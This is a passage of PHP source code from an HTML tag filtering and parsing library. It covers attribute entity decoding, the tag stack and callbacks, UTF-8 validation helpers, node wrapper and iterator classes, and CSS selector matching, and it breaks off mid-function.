												if ($vx < $vy)
												{
													for ($x = $vx; $x < $vy; $x++)
													{
														$val = ord($value[$x]);
														if (!(($val >= $a && $val <= $f) || ($val >= $a2 && $val <= $f2) || ($val >= $zero && $val <= $nine)))  break;
													}

													$num = hexdec(substr($value, $vx, $x - $vx));
													$vx = $x;
													if ($vx < $vy && $value[$vx] == ";")  $vx++;

													$value2 .= self::UTF8Chr($num);
												}
											}
											else
											{
												for ($x = $vx; $x < $vy; $x++)
												{
													$val = ord($value[$x]);
													if (!($val >= $zero && $val <= $nine))  break;
												}

												$num = (int)substr($value, $vx, $x - $vx);
												$vx = $x;
												if ($vx < $vy && $value[$vx] == ";")  $vx++;

												$value2 .= self::UTF8Chr($num);
											}
										}
									}
									else if ($pos2 < $pos)
									{
										// Unicode (e.g. \0020)
										$value2 .= substr($value, $vx, $pos2 - $vx);
										$vx = $pos2 + 1;
										if ($vx >= $vy)  $value2 .= "\\";
										else
										{
											for ($x = $vx; $x < $vy; $x++)
											{
												$val = ord($value[$x]);
												if (!(($val >= $a && $val <= $f) || ($val >= $a2 && $val <= $f2) || ($val >= $zero && $val <= $nine)))  break;
											}

											if ($x > $vx)
											{
												$num = hexdec(substr($value, $vx, $x - $vx));
												$vx = $x;

												$value2 .= self::UTF8Chr($num);
											}
											else
											{
												$value2 .= "\\";
											}
										}
									}
									else
									{
										$value2 .= substr($value, $vx);
										$vx = $vy;
									}
								}
								$value = $value2;

								if (!$this->options["keep_attr_newlines"])  $value = str_replace(array("\r\n", "\r", "\n"), " ", $value);

								if (isset($this->options["process_attrs"][$keyname]))
								{
									$type = $this->options["process_attrs"][$keyname];
									if ($type === "classes")
									{
										$classes = explode(" ", $value);
										$value = array();
										foreach ($classes as $class)
										{
											if ($class !== "")  $value[$class] = $class;
										}
									}
									else if ($type === "uri")
									{
										$value = str_replace(array("\0", "\r", "\n", "\t", " "), array("", "", "", "", "%20"), trim($value));
										$pos = strpos($value, ":");
										if ($pos !== false)  $value = preg_replace('/[^a-z]/', "", strtolower(substr($value, 0, $pos))) . substr($value, $pos);
									}
								}

								$attrs[$keyname] = $value;
							}
						}
					} while ($cx < $cy && $state !== "exit");

					// Break out of the loop if the end of the stream has been reached but not finalized and most likely in the middle of a tag.
					if ($cx >= $cy && !$this->final)
					{
						$cx = $firstcx;

						break;
					}

					unset($attrs[""]);

					if ($cx < $cy && $content[$cx] === ">")  $cx++;

					if (isset($this->options["tag_name_map"][$prefix . $tagname]))  $outtagname = $tagname = $this->options["tag_name_map"][$prefix . $tagname];

					if ($tagname != "")
					{
						if ($open)
						{
							if ($voidtag && isset($this->options["void_tags"][$tagname]))  $voidtag = false;
							$this->options["tag_num"]++;

							// Let a callback handle any necessary changes.
							if (isset($this->options["tag_callback"]) && is_callable($this->options["tag_callback"]))  $funcresult = call_user_func_array($this->options["tag_callback"], array($this->stack, &$result, $open, $prefix . $tagname, &$attrs, $this->options));
							else  $funcresult = array();

							if (!isset($funcresult["keep_tag"]))  $funcresult["keep_tag"] = true;
							if (!isset($funcresult["keep_interior"]))  $funcresult["keep_interior"] = true;
							if (!isset($funcresult["pre_tag"]))  $funcresult["pre_tag"] = "";
							if (!isset($funcresult["post_tag"]))  $funcresult["post_tag"] = "";
							if (!isset($funcresult["state"]))  $funcresult["state"] = false;
						}

						if ($open && $funcresult["keep_tag"])
						{
							$opentag = $funcresult["pre_tag"];
							$opentag .= "<" . $prefix . $outtagname;
							foreach ($attrs as $key => $val)
							{
								$opentag .= " " . $key;

								if (is_array($val))  $val = implode(" ", $val);
								if (is_string($val))
								{
									if ($this->options["charset"] === "UTF-8" && !self::IsValidUTF8($val))  $val = self::MakeValidUTF8($val);
									$opentag .= "=\"" . htmlspecialchars($val, ENT_COMPAT | ENT_HTML5, $this->options["charset"]) . "\"";
								}
							}
							if (($voidtag || isset($this->options["void_tags"][$tagname])) && $this->options["output_mode"] === "xml")
							{
								$opentag .= " /";

								$voidtag = false;
							}
							$opentag .= ">";

							if (!isset($this->options["void_tags"][$tagname]) && $prefix === "")
							{
								array_unshift($this->stack, array("tag_num" => $this->options["tag_num"], "tag_name" => $tagname, "out_tag_name" => $outtagname, "attrs" => $attrs, "result" => $result, "open_tag" => $opentag, "close_tag" => true, "keep_interior" => $funcresult["keep_interior"], "post_tag" => $funcresult["post_tag"], "state" => $funcresult["state"]));
								$result = "";

								if ($voidtag)  $open = false;
							}
							else
							{
								$result .= $opentag;
								$result .= $funcresult["post_tag"];
							}
						}

						if ((!$open || !$funcresult["keep_tag"]) && !isset($this->options["void_tags"][$tagname]))
						{
							if ($open)
							{
								array_unshift($this->stack, array("tag_num" => $this->options["tag_num"], "tag_name" => $tagname, "out_tag_name" => $outtagname, "attrs" => $attrs, "result" => $result, "open_tag" => "", "close_tag" => false, "keep_interior" => $funcresult["keep_interior"], "post_tag" => $funcresult["post_tag"], "state" => $funcresult["state"]));
								$result = "";
							}

							if (!$open)
							{
								$found = false;
								foreach ($this->stack as $info)
								{
									if ($tagname === $info["tag_name"])
									{
										$found = true;

										break;
									}
								}

								if ($found)
								{
									do
									{
										// Let a callback handle any necessary changes.
										$attrs = array();
										if (isset($this->options["tag_callback"]) && is_callable($this->options["tag_callback"]))  $funcresult = call_user_func_array($this->options["tag_callback"], array($this->stack, &$result, false, "/" . $this->stack[0]["tag_name"], &$attrs, $this->options));
										else  $funcresult = array();

										// Force close tag to be kept if the stream already output the open tag.
										if (!isset($funcresult["keep_tag"]) || ($info["close_tag"] && $info["open_tag"] == ""))  $funcresult["keep_tag"] = true;

										$info = array_shift($this->stack);

										$result = $info["result"] . ($funcresult["keep_tag"] ? $info["open_tag"] : "") . ($info["keep_interior"] ? $result : "");
										if ($info["close_tag"] && $funcresult["keep_tag"])  $result .= "</" . $info["out_tag_name"] . ">" . $info["post_tag"];
									} while ($tagname !== $info["tag_name"]);
								}
							}
						}
					}


					$tag = false;
				}
				else
				{
					$regular = true;

					// Special content handler for certain tags.
					if (count($this->stack) && isset($this->options["alt_tag_content_rules"][$this->stack[0]["tag_name"]]) && is_callable($this->options["alt_tag_content_rules"][$this->stack[0]["tag_name"]]))
					{
						$content2 = "";

						// Expected to return true until the function is no longer interested in the data.
						if (call_user_func_array($this->options["alt_tag_content_rules"][$this->stack[0]["tag_name"]], array($this->stack, $this->final, &$tag, &$content, &$cx, $cy, &$content2, $this->options)))  $regular = false;
						else if (!$this->final)
						{
							// Let a callback handle any necessary changes.
							if (isset($this->options["content_callback"]) && is_callable($this->options["content_callback"]))  call_user_func_array($this->options["content_callback"], array($this->stack, $result, &$content2, $this->options));

							$result .= $content2;

							break;
						}
					}

					if ($regular)
					{
						// Regular content.
						$pos = strpos($content, "<", $cx);
						if ($pos === false)
						{
							$content2 = str_replace(">", "&gt;", substr($content, $cx));
							$cx = $cy;
						}
						else
						{
							$content2 = str_replace(">", "&gt;", substr($content, $cx, $pos - $cx));
							$cx = $pos;

							$tag = true;
						}
					}

					// Let a callback handle any necessary changes.
					if (isset($this->options["content_callback"]) && is_callable($this->options["content_callback"]))  call_user_func_array($this->options["content_callback"], array($this->stack, $result, &$content2, $this->options));

					$result .= $content2;
				}
			}

			if ($this->final)
			{
				while (count($this->stack))
				{
					// Let a callback handle any necessary changes.
					$attrs = array();
					if (isset($this->options["tag_callback"]) && is_callable($this->options["tag_callback"]))  $funcresult = call_user_func_array($this->options["tag_callback"], array($this->stack, &$result, false, "/" . $this->stack[0]["tag_name"], &$attrs, $this->options));
					else  $funcresult = array();

					$info = array_shift($this->stack);

					// Force close tag to be kept if the stream already output the open tag.
					if (!isset($funcresult["keep_tag"]) || ($info["close_tag"] && $info["open_tag"] == ""))  $funcresult["keep_tag"] = true;

					$result = $info["result"] . ($funcresult["keep_tag"] ? $info["open_tag"] : "") . ($info["keep_interior"] ? $result : "");
					if ($info["close_tag"] && $funcresult["keep_tag"])  $result .= "</" . $info["out_tag_name"] . ">" . $info["post_tag"];
				}
			}
			else
			{
				$this->lastcontent = ($cx < $cy ? substr($content, $cx) : "");
				$this->lastresult = $result;
				$result = "";
			}

			return $result;
		}

		public function Finalize()
		{
			$this->final = true;
		}

		// To cleanly figure out how far in to flush output, call GetStack(true), use TagFilter::GetParentPos(), and call GetResult().
		public function GetStack($invert = false)
		{
			return ($invert ? array_reverse($this->stack) : $this->stack);
		}

		// Returns the result so far up to the specified stack position and flushes the stored output to keep RAM usage low.
		// NOTE:  Callback functions returning 'keep_tag' of false for the closing tag won't work for tags that were already output using this function.
		public function GetResult($invertedstackpos)
		{
			$y = count($this->stack);
			$pos = $y - $invertedstackpos - 1;
			if ($pos < 0)  $pos = 0;

			$result = "";
			for ($x = $y - 1; $x >= $pos; $x--)
			{
				$result .= $this->stack[$x]["result"] . $this->stack[$x]["open_tag"];

				$this->stack[$x]["result"] = "";
				$this->stack[$x]["open_tag"] = "";
			}

			if (!$pos)
			{
				$result .= $this->lastresult;
				$this->lastresult = "";
			}

			return $result;
		}

		public static function MakeValidUTF8($data)
		{
			$result = "";
			$x = 0;
			$y = strlen($data);
			while ($x < $y)
			{
				$tempchr = ord($data[$x]);
				if ($y - $x > 1)  $tempchr2 = ord($data[$x + 1]);
				else  $tempchr2 = 0x00;
				if ($y - $x > 2)  $tempchr3 = ord($data[$x + 2]);
				else  $tempchr3 = 0x00;
				if ($y - $x > 3)  $tempchr4 = ord($data[$x + 3]);
				else  $tempchr4 = 0x00;
				if (($tempchr >= 0x20 && $tempchr <= 0x7E) || $tempchr == 0x09 || $tempchr == 0x0A || $tempchr == 0x0D)
				{
					// ASCII minus control and special characters.
					$result .= chr($tempchr);
					$x++;
				}
				else if (($tempchr >= 0xC2 && $tempchr <= 0xDF) && ($tempchr2 >= 0x80 && $tempchr2 <= 0xBF))
				{
					// Non-overlong (2 bytes).
					$result .= chr($tempchr);
					$result .= chr($tempchr2);
					$x += 2;
				}
				else if ($tempchr == 0xE0 && ($tempchr2 >= 0xA0 && $tempchr2 <= 0xBF) && ($tempchr3 >= 0x80 && $tempchr3 <= 0xBF))
				{
					// Non-overlong (3 bytes).
					$result .= chr($tempchr);
					$result .= chr($tempchr2);
					$result .= chr($tempchr3);
					$x += 3;
				}
				else if ((($tempchr >= 0xE1 && $tempchr <= 0xEC) || $tempchr == 0xEE || $tempchr == 0xEF) && ($tempchr2 >= 0x80 && $tempchr2 <= 0xBF) && ($tempchr3 >= 0x80 && $tempchr3 <= 0xBF))
				{
					// Normal/straight (3 bytes).
					$result .= chr($tempchr);
					$result .= chr($tempchr2);
					$result .= chr($tempchr3);
					$x += 3;
				}
				else if ($tempchr == 0xED && ($tempchr2 >= 0x80 && $tempchr2 <= 0x9F) && ($tempchr3 >= 0x80 && $tempchr3 <= 0xBF))
				{
					// Non-surrogates (3 bytes).
					$result .= chr($tempchr);
					$result .= chr($tempchr2);
					$result .= chr($tempchr3);
					$x += 3;
				}
				else if ($tempchr == 0xF0 && ($tempchr2 >= 0x90 && $tempchr2 <= 0xBF) && ($tempchr3 >= 0x80 && $tempchr3 <= 0xBF) && ($tempchr4 >= 0x80 && $tempchr4 <= 0xBF))
				{
					// Planes 1-3 (4 bytes).
					$result .= chr($tempchr);
					$result .= chr($tempchr2);
					$result .= chr($tempchr3);
					$result .= chr($tempchr4);
					$x += 4;
				}
				else if (($tempchr >= 0xF1 && $tempchr <= 0xF3) && ($tempchr2 >= 0x80 && $tempchr2 <= 0xBF) && ($tempchr3 >= 0x80 && $tempchr3 <= 0xBF) && ($tempchr4 >= 0x80 && $tempchr4 <= 0xBF))
				{
					// Planes 4-15 (4 bytes).
					$result .= chr($tempchr);
					$result .= chr($tempchr2);
					$result .= chr($tempchr3);
					$result .= chr($tempchr4);
					$x += 4;
				}
				else if ($tempchr == 0xF4 && ($tempchr2 >= 0x80 && $tempchr2 <= 0x8F) && ($tempchr3 >= 0x80 && $tempchr3 <= 0xBF) && ($tempchr4 >= 0x80 && $tempchr4 <= 0xBF))
				{
					// Plane 16 (4 bytes).
					$result .= chr($tempchr);
					$result .= chr($tempchr2);
					$result .= chr($tempchr3);
					$result .= chr($tempchr4);
					$x += 4;
				}
				else  $x++;
			}

			return $result;
		}

		public static function IsValidUTF8($data)
		{
			$x = 0;
			$y = strlen($data);
			while ($x < $y)
			{
				$tempchr = ord($data[$x]);
				if (($tempchr >= 0x20 && $tempchr <= 0x7E) || $tempchr == 0x09 || $tempchr == 0x0A || $tempchr == 0x0D)  $x++;
				else if ($tempchr < 0xC2)  return false;
				else
				{
					$left = $y - $x;
					if ($left > 1)  $tempchr2 = ord($data[$x + 1]);
					else  return false;

					if (($tempchr >= 0xC2 && $tempchr <= 0xDF) && ($tempchr2 >= 0x80 && $tempchr2 <= 0xBF))  $x += 2;
					else
					{
						if ($left > 2)  $tempchr3 = ord($data[$x + 2]);
						else  return false;

						if ($tempchr3 < 0x80 || $tempchr3 > 0xBF)  return false;

						if ($tempchr == 0xE0 && ($tempchr2 >= 0xA0 && $tempchr2 <= 0xBF))  $x += 3;
						else if ((($tempchr >= 0xE1 && $tempchr <= 0xEC) || $tempchr == 0xEE || $tempchr == 0xEF) && ($tempchr2 >= 0x80 && $tempchr2 <= 0xBF))  $x += 3;
						else if ($tempchr == 0xED && ($tempchr2 >= 0x80 && $tempchr2 <= 0x9F))  $x += 3;
						else
						{
							if ($left > 3)  $tempchr4 = ord($data[$x + 3]);
							else  return false;

							if ($tempchr4 < 0x80 || $tempchr4 > 0xBF)  return false;

							if ($tempchr == 0xF0 && ($tempchr2 >= 0x90 && $tempchr2 <= 0xBF))  $x += 4;
							else if (($tempchr >= 0xF1 && $tempchr <= 0xF3) && ($tempchr2 >= 0x80 && $tempchr2 <= 0xBF))  $x += 4;
							else if ($tempchr == 0xF4 && ($tempchr2 >= 0x80 && $tempchr2 <= 0x8F))  $x += 4;
							else  return false;
						}
					}
				}
			}

			return true;
		}

		public static function UTF8Chr($num)
		{
			if ($num < 0 || ($num >= 0xD800 && $num <= 0xDFFF) || ($num >= 0xFDD0 && $num <= 0xFDEF) || ($num & 0xFFFE) == 0xFFFE)  return "";

			if ($num <= 0x7F)  $result = chr($num);
			else if ($num <= 0x7FF)  $result = chr(0xC0 | ($num >> 6)) . chr(0x80 | ($num & 0x3F));
			else if ($num <= 0xFFFF)  $result = chr(0xE0 | ($num >> 12)) . chr(0x80 | (($num >> 6) & 0x3F)) . chr(0x80 | ($num & 0x3F));
			else if ($num <= 0x10FFFF)  $result = chr(0xF0 | ($num >> 18)) . chr(0x80 | (($num >> 12) & 0x3F)) . chr(0x80 | (($num  >> 6) & 0x3F)) . chr(0x80 | ($num & 0x3F));
			else  $result = "";

			return $result;
		}
	}

	// Accessing the data in TagFilterNodes (with an 's') via objects is not the most performance-friendly method of access.
	// The classes TagFilterNode and TagFilterNodeIterator defer method calls to the referenced TagFilterNodes instance.
	// Removed/replaced nodes in the original data will result in undefined behavior with object reuse.
	class TagFilterNode
	{
		private $tfn, $id;

		public function __construct($tfn, $rootid)
		{
			$this->tfn = $tfn;
			$this->id = $rootid;
		}

		public function __get($key)
		{
			return (isset($this->tfn->nodes[$this->id]) && isset($this->tfn->nodes[$this->id]["attrs"]) && isset($this->tfn->nodes[$this->id]["attrs"][$key]) ? $this->tfn->nodes[$this->id]["attrs"][$key] : false);
		}

		public function __set($key, $val)
		{
			if (isset($this->tfn->nodes[$this->id]) && isset($this->tfn->nodes[$this->id]["attrs"]))
			{
				if (is_array($val))  $this->tfn->nodes[$this->id]["attrs"][$key] = $val;
				else if (isset($this->tfn->nodes[$this->id]["attrs"][$key]) && is_array($this->tfn->nodes[$this->id]["attrs"][$key]))  $this->tfn->nodes[$this->id]["attrs"][$key][(string)$val] = (string)$val;
				else  $this->tfn->nodes[$this->id]["attrs"][$key] = (string)$val;
			}
		}

		public function __isset($key)
		{
			return (isset($this->tfn->nodes[$this->id]) && isset($this->tfn->nodes[$this->id]["attrs"]) && isset($this->tfn->nodes[$this->id]["attrs"][$key]));
		}

		public function __unset($key)
		{
			if (isset($this->tfn->nodes[$this->id]) && isset($this->tfn->nodes[$this->id]["attrs"]))  unset($this->tfn->nodes[$this->id]["attrs"][$key]);
		}

		public function __toString()
		{
			return $this->tfn->GetOuterHTML($this->id);
		}

		public function __debugInfo()
		{
			$result = (isset($this->tfn->nodes[$this->id]) ? $this->tfn->nodes[$this->id] : array());
			$result["id"] = $this->id;

			return $result;
		}

		public function ID()
		{
			return $this->id;
		}

		public function Node()
		{
			return (isset($this->tfn->nodes[$this->id]) ? $this->tfn->nodes[$this->id] : false);
		}

		public function Type()
		{
			return (isset($this->tfn->nodes[$this->id]) ? $this->tfn->nodes[$this->id]["type"] : false);
		}

		public function Tag()
		{
			return $this->tfn->GetTag($this->id);
		}

		public function Text($val = null)
		{
			if ($val !== null)  $this->tfn->SetText($this->id, $val);
			else  return $this->tfn->GetText($this->id);
		}

		public function AddClass($name, $attr = "class")
		{
			if (isset($this->tfn->nodes[$this->id]) && isset($this->tfn->nodes[$this->id]["attrs"]))
			{
				if (!isset($this->tfn->nodes[$this->id]["attrs"][$attr]) || !is_array($this->tfn->nodes[$this->id]["attrs"][$attr]))  $this->tfn->nodes[$this->id]["attrs"][$attr] = array();

				$this->tfn->nodes[$this->id]["attrs"][$attr][$name] = $name;
			}
		}

		public function RemoveClass($name, $attr = "class")
		{
			if (isset($this->tfn->nodes[$this->id]) && isset($this->tfn->nodes[$this->id]["attrs"]))
			{
				if (isset($this->tfn->nodes[$this->id]["attrs"][$attr]) && is_array($this->tfn->nodes[$this->id]["attrs"][$attr]))  unset($this->tfn->nodes[$this->id]["attrs"][$attr][$name]);
			}
		}

		public function Parent()
		{
			return $this->tfn->GetParent($this->id);
		}

		public function ParentPos()
		{
			return (isset($this->tfn->nodes[$this->id]) ? $this->tfn->nodes[$this->id]["parentpos"] : false);
		}

		// Passing true to this method has the potential to leak RAM.  Passing false is preferred, use with caution.
		public function Children($objects = false)
		{
			return $this->tfn->GetChildren($this->id, $objects);
		}

		public function Child($pos)
		{
			return $this->tfn->GetChild($this->id, $pos);
		}

		public function PrevSibling()
		{
			return $this->tfn->GetPrevSibling($this->id);
		}

		public function NextSibling()
		{
			return $this->tfn->GetNextSibling($this->id);
		}

		public function Find($query, $cachequery = true, $firstmatch = false)
		{
			$result = $this->tfn->Find($query, $this->id, $cachequery, $firstmatch);
			if (!$result["success"])  return $result;

			return new TagFilterNodeIterator($this->tfn, $result["ids"]);
		}

		public function Implode($options = array())
		{
			return $this->tfn->Implode($this->id, $options);
		}

		public function GetOuterHTML($mode = "html")
		{
			return $this->tfn->GetOuterHTML($this->id, $mode);
		}

		// Set functions ruin the object.
		public function SetOuterHTML($src)
		{
			return $this->tfn->SetOuterHTML($this->id, $src);
		}

		public function GetInnerHTML($mode = "html")
		{
			return $this->tfn->GetInnerHTML($this->id, $mode);
		}

		public function SetInnerHTML($src)
		{
			return $this->tfn->SetInnerHTML($this->id, $src);
		}

		public function GetPlainText()
		{
			return $this->tfn->GetPlainText($this->id);
		}

		// Set functions ruin the object.
		public function SetPlainText($src)
		{
			return $this->tfn->SetPlainText($this->id, $src);
		}
	}

	class TagFilterNodeIterator implements Iterator, Countable
	{
		private $tfn, $ids, $x, $y;

		public function __construct($tfn, $ids)
		{
			$this->tfn = $tfn;
			$this->ids = $ids;
			$this->x = 0;
			$this->y = count($ids);
		}

		public function rewind(): void
		{
			$this->x = 0;
		}

		public function valid(): bool
		{
			return ($this->x < $this->y);
		}

		#[\ReturnTypeWillChange]
		public function current()
		{
			return $this->tfn->Get($this->ids[$this->x]);
		}

		#[\ReturnTypeWillChange]
		public function key()
		{
			return $this->ids[$this->x];
		}

		public function next(): void
		{
			$this->x++;
		}

		public function count(): int
		{
			return $this->y;
		}

		public function Filter($query, $cachequery = true)
		{
			$result = $this->tfn->Filter($this->ids, $query, $cachequery);
			if (!$result["success"])  return $result;

			return new TagFilterNodeIterator($this->tfn, $result["ids"]);
		}
	}

	// Output from TagFilter::Explode().
	class TagFilterNodes
	{
		public $nodes, $nextid;
		private $queries;

		public function __construct()
		{
			$this->nodes = array(
				array(
					"type" => "root",
					"parent" => false,
					"parentpos" => false,
					"children" => array()
				)
			);

			$this->nextid = 1;
			$this->queries = array();
		}

		// Makes a selector suitable for Find() and Filter() by altering or removing rules.  Query is not cached.
		public static function MakeValidSelector($query)
		{
			if (!is_array($query))  $result = TagFilter::ParseSelector($query, true);
			else if (isset($query["success"]) && isset($query["tokens"]))
			{
				$result = $query;
				$result["tokens"] = TagFilter::ReorderSelectorTokens(array_reverse($result["tokens"]), true);
			}
			else
			{
				$result = array("success" => true, "tokens" => TagFilter::ReorderSelectorTokens(array_reverse($query), true));
			}

			// Alter certain CSS3 tokens to equivalent tokens.
			foreach ($result["tokens"] as $num => $rules)
			{
				foreach ($rules as $num2 => $rule)
				{
					if ($rule["type"] === "pseudo-class")
					{
						if ($rule["pseudo"] === "link")  $result["tokens"][$num][$num2] = array("not" => false, "type" => "element", "namespace" => false, "tag" => "a");
						else if ($rule["pseudo"] === "disabled")  $result["tokens"][$num][$num2] = array("not" => false, "type" => "attr", "namespace" => false, "attr" => "disabled", "cmp" => false);
						else if ($rule["pseudo"] === "enabled")  $result["tokens"][$num][$num2] = array("not" => false, "type" => "attr", "namespace" => false, "attr" => "enabled", "cmp" => false);
						else if ($rule["pseudo"] === "checked")  $result["tokens"][$num][$num2] = array("not" => false, "type" => "attr", "namespace" => false, "attr" => "checked", "cmp" => false);
					}
				}
			}

			// Reorder the tokens so that the order is simple for output.
			$tokens = TagFilter::ReorderSelectorTokens(array_reverse($result["tokens"]), true, array("element" => array(), "id" => array(), "class" => array(), "attr" => array(), "pseudo-class" => array(), "pseudo-element" => array()), false);

			// Generate a duplicate-free Find()-safe string.
			$result = array();
			foreach ($tokens as $rules)
			{
				$groups = array();
				$strs = array();
				$rules = array_reverse($rules);
				$y = count($rules);
				for ($x = 0; $x < $y; $x++)
				{
					$str = "";

					if (isset($rules[$x]["not"]) && $rules[$x]["not"])  $str .= ":not(";

					switch ($rules[$x]["type"])
					{
						case "id":  $str .= "#" . $rules[$x]["id"];  $valid = true;  break;
						case "element":  $str .= ($rules[$x]["namespace"] !== false ? $rules[$x]["namespace"] . "|" : "") . strtolower($rules[$x]["tag"]);  $valid = true;  break;
						case "class":  $str .= "." . $rules[$x]["class"];  $valid = true;  break;
						case "attr":  $str .= "[" . ($rules[$x]["namespace"] !== false ? $rules[$x]["namespace"] . "|" : "") . strtolower($rules[$x]["attr"]) . ($rules[$x]["cmp"] !== false ? $rules[$x]["cmp"] . "\"" . str_replace("\"", "\\\"", $rules[$x]["val"]) . "\"" : "") . "]";  $valid = true;  break;
						case "pseudo-class":
						{
							$pc = $rules[$x]["pseudo"];
							$valid = ($pc === "first-child" || $pc === "last-child" || $pc === "only-child" || $pc === "nth-child" || $pc === "nth-last-child" || $pc === "first-child-all" || $pc === "last-child-all" || $pc === "only-child-all" || $pc === "nth-child-all" || $pc === "nth-last-child-all" || $pc === "first-of-type" || $pc === "last-of-type" || $pc === "only-of-type" || $pc === "nth-of-type" || $pc === "nth-last-of-type" || $pc === "empty");

							if ($valid && substr($rules[$x]["pseudo"], 0, 4) === "nth-" && (!isset($rules[$x]["a"]) || !isset($rules[$x]["b"])))  $valid = false;

							break;
						}
						case "combine":
						{
							switch ($rules[$x]["combine"])
							{
								case "prev-parent":  $groups[] = implode("", $strs);  $groups[] = ">";  $strs = array();  $valid = true;  break;
								case "any-parent":  $groups[] = implode("", $strs);  $strs = array();  $valid = true;  break;
								case "prev-sibling":  $groups[] = implode("", $strs);  $groups[] = "+";  $strs = array();  $valid = true;  break;
								case "any-prev-sibling":  $groups[] = implode("", $strs);  $groups[] = "~";  $strs = array();  $valid = true;  break;
								default:  $valid = false;
							}

							break;
						}
						default:  $valid = false;  break;
					}

					if (!$valid)  break;

					if (isset($rules[$x]["not"]) && $rules[$x]["not"])  $str .= ")";

					$strs[$str] = $str;
				}

				if ($x == $y)
				{
					if (count($strs))  $groups[] = implode("", $strs);
					$str = implode(" ", $groups);
					$result[$str] = $str;
				}
			}

			return implode(", ", $result);
		}

		public function Find($query, $id = 0, $cachequery = true, $firstmatch = false)
		{
			$id = (int)$id;
			if (!isset($this->nodes[$id]))  return array("success" => false, "error" => "Invalid initial ID.", "errorcode" => "invalid_init_id");

			if (isset($this->queries[$query]))  $result = $this->queries[$query];
			else
			{
				if (!is_array($query))  $result = TagFilter::ParseSelector($query, true);
				else if (isset($query["success"]) && isset($result["selector"]) && isset($query["tokens"]))
				{
					$result = $query;
					$result["tokens"] = TagFilter::ReorderSelectorTokens($result["tokens"], true);

					$query = $result["selector"];
				}
				else
				{
					$result = array("success" => true, "tokens" => TagFilter::ReorderSelectorTokens($query, true));

					$cachequery = false;
				}

				if ($cachequery)
				{
					foreach ($this->queries as $key => $val)
					{
						if (count($this->queries) < 25)  break;

						unset($this->queries[$key]);
					}

					$this->queries[$query] = $result;
				}
			}

			if (!$result["success"])  return $result;

			$rules = $result["tokens"];
			$numrules = count($rules);

			$result = array();
			$childcache = array();
			$oftypecache = array();
			$rootid = $id;
			$pos = 0;
			$maxpos = (isset($this->nodes[$id]["children"]) && is_array($this->nodes[$id]["children"]) ? count($this->nodes[$id]["children"]) : 0);
			do
			{
				if (!$pos && $this->nodes[$id]["type"] === "element")
				{
					// Attempt to match a rule.
					for ($x = 0; $x < $numrules; $x++)
					{
						$id2 = $id;
						$y = count($rules[$x]);
						for ($x2 = 0; $x2 < $y; $x2++)
						{
							if ($this->nodes[$id2]["type"] === "content" || $this->nodes[$id2]["type"] === "comment")
							{
								// Always backtrack at non-element nodes since the rules are element based.
								$backtrack = !(isset($rules[$x][$x2]["not"]) && $rules[$x][$x2]["not"]);
							}
							else if (isset($rules[$x][$x2]["namespace"]) && $rules[$x][$x2]["namespace"] !== false && $rules[$x][$x2]["namespace"] !== "*" && (($rules[$x][$x2]["namespace"] === "" && strpos($this->nodes[$id2]["tag"], ":") !== false) || ($rules[$x][$x2]["namespace"] !== "" && strcasecmp(substr($this->nodes[$id2]["tag"], 0, strlen($rules[$x][$x2]["namespace"]) + 1), $rules[$x][$x2]["namespace"] . ":") !== 0)))
							{
								$backtrack = true;
							}
							else
							{
								switch ($rules[$x][$x2]["type"])
								{
									case "id":  $backtrack = (!isset($this->nodes[$id2]["attrs"]["id"]) || $this->nodes[$id2]["attrs"]["id"] !== $rules[$x][$x2]["id"]);  break;
									case "element":  $backtrack = ($rules[$x][$x2]["tag"] !== "*" && strcasecmp($this->nodes[$id2]["tag"], (isset($rules[$x][$x2]["namespace"]) && $rules[$x][$x2]["namespace"] !== false ? $rules[$x][$x2]["namespace"] . ":" : "") . $rules[$x][$x2]["tag"]) !== 0);  break;
									case "class":  $backtrack = (!isset($this->nodes[$id2]["attrs"]["class"]) || !isset($this->nodes[$id2]["attrs"]["class"][$rules[$x][$x2]["class"]]));  break;
									case "attr":
									{
										$attr = strtolower($rules[$x][$x2]["attr"]);
										if (!isset($this->nodes[$id2]["attrs"][$attr]))  $backtrack = true;
										else
										{
											$val = $this->nodes[$id2]["attrs"][$attr];
											if (is_array($val))  $val = implode(" ", $val);

											switch ($rules[$x][$x2]["cmp"])
											{
												case "=":  $backtrack = ($val !== $rules[$x][$x2]["val"]);  break;
												case "^=":  $backtrack = ($rules[$x][$x2]["val"] === "" || substr($val, 0, strlen($rules[$x][$x2]["val"])) !== $rules[$x][$x2]["val"]);  break;
												case "$=":  $backtrack = ($rules[$x][$x2]["val"] === "" || substr($val, -strlen($rules[$x][$x2]["val"])) !== $rules[$x][$x2]["val"]);  break;
												case "*=":  $backtrack = ($rules[$x][$x2]["val"] === "" || strpos($val, $rules[$x][$x2]["val"]) === false);  break;
												case "~=":  $backtrack = ($rules[$x][$x2]["val"] === "" || strpos($rules[$x][$x2]["val"], " ") !== false || strpos(" " . $val . " ", " " . $rules[$x][$x2]["val"] . " ") === false);  break;
												case "|=":  $backtrack = ($rules[$x][$x2]["val"] === "" || ($val !== $rules[$x][$x2]["val"] && substr($val, 0, strlen($rules[$x][$x2]["val"]) + 1) !== $rules[$x][$x2]["val"] . "-"));  break;
												default:  $backtrack = false;  break;
											}
										}

										break;
									}
									case "pseudo-class":
									{
										// Handle various bits of common code.
										$pid = $this->nodes[$id2]["parent"];
										$pnum = count($this->nodes[$pid]["children"]);

										$nth = (substr($rules[$x][$x2]["pseudo"], 0, 4) === "nth-");
										if ($nth && (!isset($rules[$x][$x2]["a"]) || !isset($rules[$x][$x2]["b"])))  return array("success" => false, "error" => "Pseudo-class ':" . $rules[$x][$x2]["pseudo"] . "(n)' requires an expression for 'n'.", "errorcode" => "missing_pseudo_class_expression");

										if (substr($rules[$x][$x2]["pseudo"], -6) === "-child")
										{
											if (!isset($childcache[$id2]))
											{
												$children = 0;
												foreach ($this->nodes[$pid]["children"] as $id3)
												{
													if ($this->nodes[$id3]["type"] === "element")
													{
														$childcache[$id3] = array("cx" => $children);

														$children++;
													}
												}

												foreach ($this->nodes[$pid]["children"] as $id3)
												{
													if ($this->nodes[$id3]["type"] === "element")  $childcache[$id3]["cy"] = $children;
												}
											}

											$cx = $childcache[$id2]["cx"];
											$cy = $childcache[$id2]["cy"];
										}

										if (substr($rules[$x][$x2]["pseudo"], -8) === "-of-type")
										{
											if (!isset($oftypecache[$id2]))
											{
												$types = array();
												foreach ($this->nodes[$pid]["children"] as $id3)
												{
													if ($this->nodes[$id3]["type"] === "element")
													{
														$tag = $this->nodes[$id3]["tag"];
														if (!isset($types[$tag]))  $types[$tag] = 0;

														$oftypecache[$id3] = array("tx" => $types[$tag]);

														$types[$tag]++;
													}
												}

												foreach ($this->nodes[$pid]["children"] as $id3)
												{
